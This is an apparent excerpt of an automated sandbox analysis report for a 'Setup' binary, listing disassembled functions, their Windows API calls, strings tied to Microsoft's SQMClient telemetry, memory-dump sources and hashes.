                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: Time$System$FileOpen_vsnwprintfmemset
                    • String ID: %s\%s\%s$Sampling$Software\Microsoft\SQMClient$Software\Microsoft\SQMClient\Windows\DisabledSessions
                    • API String ID: 3792293845-3320126751
                    • Opcode ID: 4526fdeded107a1620f2a8de8297250ebb57cb7931adf76c8b40101ed1d78777
                    • Instruction ID: 0427bba2244436060b44c598ff7d04269625e0f56740ef404ae3417119e91b9b
                    • Opcode Fuzzy Hash: 4526fdeded107a1620f2a8de8297250ebb57cb7931adf76c8b40101ed1d78777
                    • Instruction Fuzzy Hash: D561B131504209AFDF45DED4CC94FEE77BAEF05754F1004A8E618AA1A1E771DA89CF22
                    Function 6E0C2885 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 127synchronizationCOMMON
                    Download Yara Rule
                    APIs
                    • InitializeCriticalSectionAndSpinCount.KERNEL32(00000004,00000FA0,?,00000000,00000000), ref: 6E0C28C4
                    • memset.MSVCRT ref: 6E0C3C7D
                    • OpenMutexW.KERNEL32(00100000,00000000,?,?,?,?,?,?,00000000,00000000), ref: 6E0C3CB1
                    • CreateMutexW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00000000,00000000), ref: 6E0C3CC0
                    • GetLastError.KERNEL32 ref: 6E0D3E29
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: Mutex$CountCreateCriticalErrorInitializeLastOpenSectionSpinmemset
                    • String ID: Local\SqmLock_%s
                    • API String ID: 435864437-4290917916
                    • Opcode ID: 51533108d50a69d2173d91b26ce48eea111094c8bad2a18edb81cc001041666b
                    • Instruction ID: 2fe5186fa1882903cfd5122366346fcc1fc512f196c80cbfd064e493a416a1e9
                    • Opcode Fuzzy Hash: 51533108d50a69d2173d91b26ce48eea111094c8bad2a18edb81cc001041666b
                    • Instruction Fuzzy Hash: F2418E75544305EFC7908ED5CC88F9EBAF9BB09B84F5044A9E588EB190DB74C98C8F61
                    Function 6E0C443B Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 58libraryloaderCOMMON
                    Download Yara Rule
                    APIs
                    • LoadLibraryW.KERNEL32(SensApi.dll,00000000,?), ref: 6E0C4452
                    • GetProcAddress.KERNEL32(00000000,IsNetworkAlive), ref: 6E0C4468
                    • FreeLibrary.KERNEL32(00000000), ref: 6E0C447F
                    • GetLastError.KERNEL32 ref: 6E0CF8D5
                    • GetLastError.KERNEL32 ref: 6E0CF912
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: ErrorLastLibrary$AddressFreeLoadProc
                    • String ID: IsNetworkAlive$SensApi.dll
                    • API String ID: 1529210728-555838347
                    • Opcode ID: 37984e2ec8a9b5fc022a4dabe495728e99f8ff0db997f28581acd7e4d8678b8a
                    • Instruction ID: 12ffd1bf7d5e1df02ff6d1d2e73238d1bfedf0ba49555b6fbdc509cb2cb70f9b
                    • Opcode Fuzzy Hash: 37984e2ec8a9b5fc022a4dabe495728e99f8ff0db997f28581acd7e4d8678b8a
                    • Instruction Fuzzy Hash: 3711A031140601BFDB85DFD9C858F9E3AAEFB45B94F200050F919CB150DB70C84ACB62
                    Function 6E0C2724 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 55libraryloaderCOMMON
                    Download Yara Rule
                    APIs
                    • LoadLibraryW.KERNEL32(kernel32.dll,00000000,6E0E0180,?,6E0C270F,00000000,?,6E0C26C6,?,?,6E0C19CB,Microsoft\Windows\SoftwareQualityMetricsClient,6E0E0180,00000000,?,6E0C1C30), ref: 6E0C2732
                    • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 6E0C2748
                    • FreeLibrary.KERNEL32(00000000,?,6E0C270F,00000000,?,6E0C26C6,?,?,6E0C19CB,Microsoft\Windows\SoftwareQualityMetricsClient,6E0E0180,00000000,?,6E0C1C30,?,?), ref: 6E0C2761
                    • GetLastError.KERNEL32(?,6E0C270F,00000000,?,6E0C26C6,?,?,6E0C19CB,Microsoft\Windows\SoftwareQualityMetricsClient,6E0E0180,00000000,?,6E0C1C30,?,?,?), ref: 6E0CF9D0
                    • GetLastError.KERNEL32(?,6E0C270F,00000000,?,6E0C26C6,?,?,6E0C19CB,Microsoft\Windows\SoftwareQualityMetricsClient,6E0E0180,00000000,?,6E0C1C30,?,?,?), ref: 6E0CFA0D
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: ErrorLastLibrary$AddressFreeLoadProc
                    • String ID: IsWow64Process$kernel32.dll
                    • API String ID: 1529210728-3024904723
                    • Opcode ID: 2a9be957b8064fda217e4cfa97f1427ad0e59367399238aca3353e41a2154b83
                    • Instruction ID: 6e4fc91bebc199dc6ad984eb9cf988080947e856a91f8d616a30b2e3dd062234
                    • Opcode Fuzzy Hash: 2a9be957b8064fda217e4cfa97f1427ad0e59367399238aca3353e41a2154b83
                    • Instruction Fuzzy Hash: CE11A535140E01AFCB859ED9CD8CF9E3BAAFF46F91B014160F918CB561CB34C8898B62
                    Function 6E0C247C Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 36libraryloaderCOMMON
                    Download Yara Rule
                    APIs
                    • LoadLibraryW.KERNEL32(advapi32,?,6E0C19A1,00000000,?,6E0C1C30,?,?,?,6E0C1C70,0000002C), ref: 6E0C2484
                    • GetProcAddress.KERNEL32(00000000,TraceMessage), ref: 6E0C24A1
                    • GetProcAddress.KERNEL32(00000000,TraceMessageVa), ref: 6E0C24C0
                    • FreeLibrary.KERNEL32(00000000,?,6E0C19A1,00000000,?,6E0C1C30,?,?,?,6E0C1C70,0000002C), ref: 6E0C24D0
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: AddressLibraryProc$FreeLoad
                    • String ID: TraceMessage$TraceMessageVa$advapi32
                    • API String ID: 2256533930-3542275927
                    • Opcode ID: 08e9583ba6f27536e6fdc3434de0297a2c929fb2561ff8579c70bec2848e4e1c
                    • Instruction ID: 26cbf3845809996e8eaea58b09399fa220bdf470eb5a82da0437bd09aa6b660f
                    • Opcode Fuzzy Hash: 08e9583ba6f27536e6fdc3434de0297a2c929fb2561ff8579c70bec2848e4e1c
                    • Instruction Fuzzy Hash: 0BF03C72408B02DBCB849BE9D84973A3AB6F7C2F60F504129E908C6605EB3484869B61
                    Function 6E0CA2A6 Relevance: 11.0, APIs: 5, Strings: 1, Instructions: 452fileCOMMON
                    Download Yara Rule
                    APIs
                      • Part of subcall function 6E0C1967: malloc.MSVCRT(?,6E0E0554), ref: 6E0C1979
                    • CreateFileW.KERNEL32(6E0CACC8,C0000000,00000000,00000000,00000001,00000002,00002080,00000000,00000000,?,00000000,00000010,?,00000000,00000010,00000094), ref: 6E0CA465
                    • WriteFile.KERNEL32(000003E0,00000000,?,6E0CACC8,00000000,?,?), ref: 6E0CA488
                    • CloseHandle.KERNEL32(000003E0,?,?), ref: 6E0CA4A8
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: File$CloseCreateHandleWritemalloc
                    • String ID: x
                    • API String ID: 4113784837-2363233923
                    • Opcode ID: 643ab95f11c3c64651e6e0dbc7610590bc4023c9020c393830d0e900203fc0af
                    • Instruction ID: 9133f87c42d25625655012459af36194dede943fd7c9bb5e95d2bc56f9f2de4f
                    • Opcode Fuzzy Hash: 643ab95f11c3c64651e6e0dbc7610590bc4023c9020c393830d0e900203fc0af
                    • Instruction Fuzzy Hash: 3002CE3098030AAFCB45CFC4C894FAD7BB2FF45B94F614168E915AB660C770D989DB62
                    Function 6E0CE1A5 Relevance: 10.7, APIs: 7, Instructions: 169threadCOMMON
                    Download Yara Rule
                    APIs
                    • GetCurrentThread.KERNEL32 ref: 6E0CE1F0
                    • GetThreadPriority.KERNEL32(00000000,?,6E0CBFF6,?,00000000,00000000,?,?,?,PUT,00000000,?,6E0C7AF4), ref: 6E0CE1F3
                    • GetCurrentThread.KERNEL32 ref: 6E0CE201
                    • SetThreadPriority.KERNEL32(00000000,?,6E0CBFF6,?,00000000,00000000,?,?,?,PUT,00000000,?,6E0C7AF4), ref: 6E0CE204
                    • GetCurrentThread.KERNEL32 ref: 6E0CE313
                    • SetThreadPriority.KERNEL32(00000000,?,6E0CBFF6,?,00000000,00000000,?,?,?,PUT,00000000,?,6E0C7AF4), ref: 6E0CE31A
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: Thread$CurrentPriority
                    • String ID:
                    • API String ID: 1343868529-0
                    • Opcode ID: 69e2f1c35496fbae9c8cd5b490ed128eb8956ccdfb663bfc0cdf122beac1d930
                    • Instruction ID: 11e70aea2d9270b96e6044f7a56d3b5d20f64f900eb5c90a665d1f59be672acc
                    • Opcode Fuzzy Hash: 69e2f1c35496fbae9c8cd5b490ed128eb8956ccdfb663bfc0cdf122beac1d930
                    • Instruction Fuzzy Hash: 5E51B030900294AFDB55CFA5C89CBADB7F6BB48B84F0040A9E58997250CB749AC6CF52
                    Function 6E0C4197 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 147libraryCOMMON
                    Download Yara Rule
                    APIs
                    • LoadLibraryW.KERNEL32(Winhttp.dll), ref: 6E0C41C6
                    • FreeLibrary.KERNEL32(00000000), ref: 6E0C41D5
                    • EnterCriticalSection.KERNEL32(6E0E0168,?,?,?,?,?), ref: 6E0C41F9
                      • Part of subcall function 6E0C4281: memset.MSVCRT ref: 6E0C42CF
                      • Part of subcall function 6E0C4281: EnterCriticalSection.KERNEL32(00000030,?,00000104,?,80000002,Software\Microsoft\SQMClient,DoNotDeleteFileAfterUpload,?,00000000,?,6E0E0168), ref: 6E0C434C
                      • Part of subcall function 6E0C4281: FindFirstFileW.KERNEL32(?,?,?,6E0E0168), ref: 6E0C4392
                      • Part of subcall function 6E0C4281: LeaveCriticalSection.KERNEL32(?,?,6E0E0168), ref: 6E0C43CD
                    • LeaveCriticalSection.KERNEL32(6E0E0168,?,?,?,?,?,?,00000000,?,?,?,?,?), ref: 6E0C424A
                    • SetLastError.KERNEL32(00000000,?,?,?), ref: 6E0C4253
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: CriticalSection$EnterLeaveLibrary$ErrorFileFindFirstFreeLastLoadmemset
                    • String ID: Winhttp.dll
                    • API String ID: 4214541343-1936088768
                    • Opcode ID: 4f5ed41e383fedd0a71589bcce511f8edeb5ce6228bb7f1acb47d732e4299ea0
                    • Instruction ID: 8fecf764a01144a5051060e21576f1cb80fe444658f631c7c098221071cc1e8a
                    • Opcode Fuzzy Hash: 4f5ed41e383fedd0a71589bcce511f8edeb5ce6228bb7f1acb47d732e4299ea0
                    • Instruction Fuzzy Hash: 7551DC31148700FFCB85DED5CC9AFBD3AA6FB41B84F514465F928AA1A1D771C8868B13
                    Function 6E0C583D Relevance: 10.6, APIs: 7, Instructions: 126COMMON
                    Download Yara Rule
                    APIs
                    • GetTempPathW.KERNEL32(00000000,00000000,00000000,00000000), ref: 6E0C5875
                    • GetLongPathNameW.KERNEL32(00000000,?,00000104), ref: 6E0C58A7
                    • CreateDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 6E0D2890
                    • GetLastError.KERNEL32(00000001,00000000,00000012,6E0D5B28,00000000), ref: 6E0D28C6
                    • GetLastError.KERNEL32 ref: 6E0D28D1
                    • GetLastError.KERNEL32 ref: 6E0D294D
                    • GetLastError.KERNEL32(00000001,00000000,00000011,6E0D5B28,00000000), ref: 6E0D2967
                      • Part of subcall function 6E0C58E8: GetFileAttributesW.KERNEL32(6E0C5892,?,6E0C5892,00000000), ref: 6E0C58F0
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: ErrorLast$Path$AttributesCreateDirectoryFileLongNameTemp
                    • String ID:
                    • API String ID: 4207547965-0
                    • Opcode ID: d6c6f565c6cea79393a4a275c20120e9071c79e49f03d56c58836a304851b96a
                    • Instruction ID: 3cb6400e5a76894b0d70cb057b32c913930b979e6720c4376154f9a37f128cbe
                    • Opcode Fuzzy Hash: d6c6f565c6cea79393a4a275c20120e9071c79e49f03d56c58836a304851b96a
                    • Instruction Fuzzy Hash: 4341B038140705ABCB559FE5C858F9E7BE9EF05B94F5144A4F818EB1A1D770C88C8B62
                    Function 6E0D853A Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 110COMMON
                    Download Yara Rule
                    APIs
                    • memset.MSVCRT ref: 6E0D8568
                      • Part of subcall function 6E0D8316: LocalFree.KERNEL32(?), ref: 6E0D8527
                      • Part of subcall function 6E0D8097: memset.MSVCRT ref: 6E0D80D6
                      • Part of subcall function 6E0D8097: memset.MSVCRT ref: 6E0D80EF
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: memset$FreeLocal
                    • String ID: *.psqm$*.sqm$CabSessionAfterSize$Microsoft\Windows\Sqm\Sessions$Microsoft\Windows\Sqm\Upload$Software\Microsoft\SQMClient\Windows
                    • API String ID: 1741899810-2150350095
                    • Opcode ID: 767a5f88ddf40ecaf578c5be9af2069422096d6bbfc52e78634bb5bfca97c8c7
                    • Instruction ID: f34344e0645c0182bd52847fea9d24f93cb7e0d35c84b92e37d3220202630213
                    • Opcode Fuzzy Hash: 767a5f88ddf40ecaf578c5be9af2069422096d6bbfc52e78634bb5bfca97c8c7
                    • Instruction Fuzzy Hash: 45318B30600306AACB44DAD89CE4FBA37FEDB85798F245468E919DF281D771C88D8B30
                    Function 6E0C7B37 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 95COMMON
                    Download Yara Rule
                    APIs
                    • memset.MSVCRT ref: 6E0C7B80
                      • Part of subcall function 6E0C3E29: RegOpenKeyExW.KERNEL32(?,?,00000000,-00020018,00000000,80000002,CEIPEnable,00000002), ref: 6E0C3E94
                      • Part of subcall function 6E0C3E29: RegQueryValueExW.KERNEL32(00000000,00000002,00000000,?,?,00000004), ref: 6E0C3EB0
                      • Part of subcall function 6E0C3E29: RegCloseKey.ADVAPI32(00000000), ref: 6E0C3ECE
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: CloseOpenQueryValuememset
                    • String ID: $%s\%s$IsTest$MSFTInternal$Software\Microsoft\SQMClient$Software\Policies\Microsoft\SQMClient
                    • API String ID: 1830152886-857506278
                    • Opcode ID: c0cab36ac730e1271ba5081068d937575124b67131e46828ab36aaf44762455d
                    • Instruction ID: a1cd69384efe9c2b047ca5f5c02202d355efa2bcb81d5f2747f25591dba3789b
                    • Opcode Fuzzy Hash: c0cab36ac730e1271ba5081068d937575124b67131e46828ab36aaf44762455d
                    • Instruction Fuzzy Hash: 5D31A1B494021DAADB50CAE4CC88FDE77FCAF14B48F5004E9A508E7181D7748E858FA2
                    Function 6E0C9C65 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86libraryloaderCOMMON
                    Download Yara Rule
                    APIs
                    • GetProcAddress.KERNEL32(00000000,?), ref: 6E0C9CB8
                    • LoadLibraryA.KERNEL32(?), ref: 6E0C9CEB
                    • InterlockedCompareExchange.KERNEL32(00000000,00000000,00000000), ref: 6E0C9D02
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: AddressCompareExchangeInterlockedLibraryLoadProc
                    • String ID: $
                    • API String ID: 792202920-3993045852
                    • Opcode ID: 0beb5c6d15eedba6c2c6732127b04d1130f3f895fdf0257037deb1b83f2cd678
                    • Instruction ID: 788a5e7f470756769c75023645fa50937331d9af8426ca3098bbe956add9a79c
                    • Opcode Fuzzy Hash: 0beb5c6d15eedba6c2c6732127b04d1130f3f895fdf0257037deb1b83f2cd678
                    • Instruction Fuzzy Hash: 2131C376900205EFDB01CFD9C888B9DBBF9FF49B59F218419E819AB240D770EA44CB51
                    Function 6E0C3292 Relevance: 10.6, APIs: 7, Instructions: 63COMMON
                    Download Yara Rule
                    APIs
                    • InterlockedDecrement.KERNEL32(?), ref: 6E0C329D
                    • VirtualFree.KERNEL32(?,?,00004000,00000000,?,6E0C3279,?,6E0C3238,00000000,?,?,00000000,00000000,?), ref: 6E0CB502
                    • VirtualFree.KERNEL32(?,00000000,00008000,?,6E0C3279,?,6E0C3238,00000000,?,?,00000000,00000000,?), ref: 6E0CB511
                    • ctype.LIBCPMT ref: 6E0CB52F
                    • ctype.LIBCPMT ref: 6E0CB549
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: FreeVirtualctype$DecrementInterlocked
                    • String ID:
                    • API String ID: 2528146720-0
                    • Opcode ID: 7dd5d98befbb80b3e0b18e1920eae0016cfbb4ca6f581c95a2bd7c4e672e664d
                    • Instruction ID: 79efbb70595707dbc9613d1314f557d9d7731d74c0d687f2dfaa25f43794c70f
                    • Opcode Fuzzy Hash: 7dd5d98befbb80b3e0b18e1920eae0016cfbb4ca6f581c95a2bd7c4e672e664d
                    • Instruction Fuzzy Hash: 6311BFB1500706AFDB209FE9C8D4B9EB7E8EF04B84B50882DE55A93184CB70AC45CF51
                    Function 009B3979 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • GetModuleHandleW.KERNEL32(KERNEL32.DLL,009B6F08,00000008,009B3A86,00000000,00000000,?,009B2FA5,00000003), ref: 009B398A
                    • __lock.LIBCMT ref: 009B39BE
                      • Part of subcall function 009B4331: __mtinitlocknum.LIBCMT ref: 009B4347
                      • Part of subcall function 009B4331: __amsg_exit.LIBCMT ref: 009B4353
                      • Part of subcall function 009B4331: EnterCriticalSection.KERNEL32(?,?,?,009B39C3,0000000D,?,009B2FA5,00000003), ref: 009B435B
                    • InterlockedIncrement.KERNEL32(009B8560), ref: 009B39CB
                    • __lock.LIBCMT ref: 009B39DF
                    • ___addlocaleref.LIBCMT ref: 009B39FD
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2109160683.00000000009B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009B0000, based on PE: true
                    • Associated: 00000007.00000002.2109125547.00000000009B0000.00000002.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109198922.00000000009B8000.00000004.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109221350.00000000009BA000.00000002.00000001.01000000.00000006.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_9b0000_Setup.jbxd
                    Similarity
                    • API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
                    • String ID: KERNEL32.DLL
                    • API String ID: 637971194-2576044830
                    • Opcode ID: 443be2a6e0245daa8ba1c1569de0e722d775d786ba5dffd7aa27c63502fd91b1
                    • Instruction ID: 37e353907f28570c1817fca759997e35564608f933d5495cc780c997cbf5f8f1
                    • Opcode Fuzzy Hash: 443be2a6e0245daa8ba1c1569de0e722d775d786ba5dffd7aa27c63502fd91b1
                    • Instruction Fuzzy Hash: 19018B71404B00DED720EF69CA0A389BBE0AF80331F10890AE496962A1CBB0A645DB10
                    Function 009B2930 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 17libraryloaderCOMMON
                    Download Yara Rule
                    APIs
                    • LoadLibraryW.KERNEL32(kernel32.dll,?,009B2980), ref: 009B293F
                    • GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 009B2956
                    • GetProcAddress.KERNEL32(DecodePointer), ref: 009B2968
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2109160683.00000000009B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009B0000, based on PE: true
                    • Associated: 00000007.00000002.2109125547.00000000009B0000.00000002.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109198922.00000000009B8000.00000004.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109221350.00000000009BA000.00000002.00000001.01000000.00000006.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_9b0000_Setup.jbxd
                    Similarity
                    • API ID: AddressProc$LibraryLoad
                    • String ID: DecodePointer$EncodePointer$kernel32.dll
                    • API String ID: 2238633743-1525541703
                    • Opcode ID: 67b015c0fac67dc7ee4b9e98faa56e8ce3bd95b932d9a2cf09258646b8bd0ec3
                    • Instruction ID: fff959010598ff97c72e1f992a0da3d296f4db0ee31101eea632810c155d9743
                    • Opcode Fuzzy Hash: 67b015c0fac67dc7ee4b9e98faa56e8ce3bd95b932d9a2cf09258646b8bd0ec3
                    • Instruction Fuzzy Hash: 48E04275978214AADB14AF65BF9DAC63EE4E786735B10022AA61892270D7741480FF60
                    Function 6E0C82AD Relevance: 9.2, APIs: 6, Instructions: 214COMMON
                    Download Yara Rule
                    APIs
                    • memset.MSVCRT ref: 6E0C82E7
                    • EnterCriticalSection.KERNEL32(?), ref: 6E0C82F8
                    • LeaveCriticalSection.KERNEL32(?), ref: 6E0C8324
                    • RaiseException.KERNEL32(C000008C,00000001,00000000,00000000), ref: 6E0D0D27
                    • ctype.LIBCPMT ref: 6E0D0D8E
                      • Part of subcall function 6E0C7C62: memmove.MSVCRT(?,?,?,?,?,6E0C8320,00000000), ref: 6E0C7C93
                      • Part of subcall function 6E0CE3B3: EnterCriticalSection.KERNEL32(?,?,00000000,6E0C83DB,?), ref: 6E0CE3BD
                      • Part of subcall function 6E0CE3B3: ctype.LIBCPMT ref: 6E0CE3CC
                      • Part of subcall function 6E0CE3B3: LeaveCriticalSection.KERNEL32(?,?,00000000,6E0C83DB,?), ref: 6E0CE3EC
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: CriticalSection$EnterLeavectype$ExceptionRaisememmovememset
                    • String ID:
                    • API String ID: 1998214256-0
                    • Opcode ID: d860c8c745129da7178ff29f2c84a73041eb135a6e85156a8bdb721c65824042
                    • Instruction ID: a4129455dcf3df2547f573791f924cee73a2d4d96ec6018d8d6253b075c08bba
                    • Opcode Fuzzy Hash: d860c8c745129da7178ff29f2c84a73041eb135a6e85156a8bdb721c65824042
                    • Instruction Fuzzy Hash: A781AE30108704AFDB54CFE4C894FAA7BF6FF45B44F1084A8E6598B5A0EB71E949CB61
                    Function 6E0D8316 Relevance: 9.2, APIs: 6, Instructions: 161COMMON
                    Download Yara Rule
                    APIs
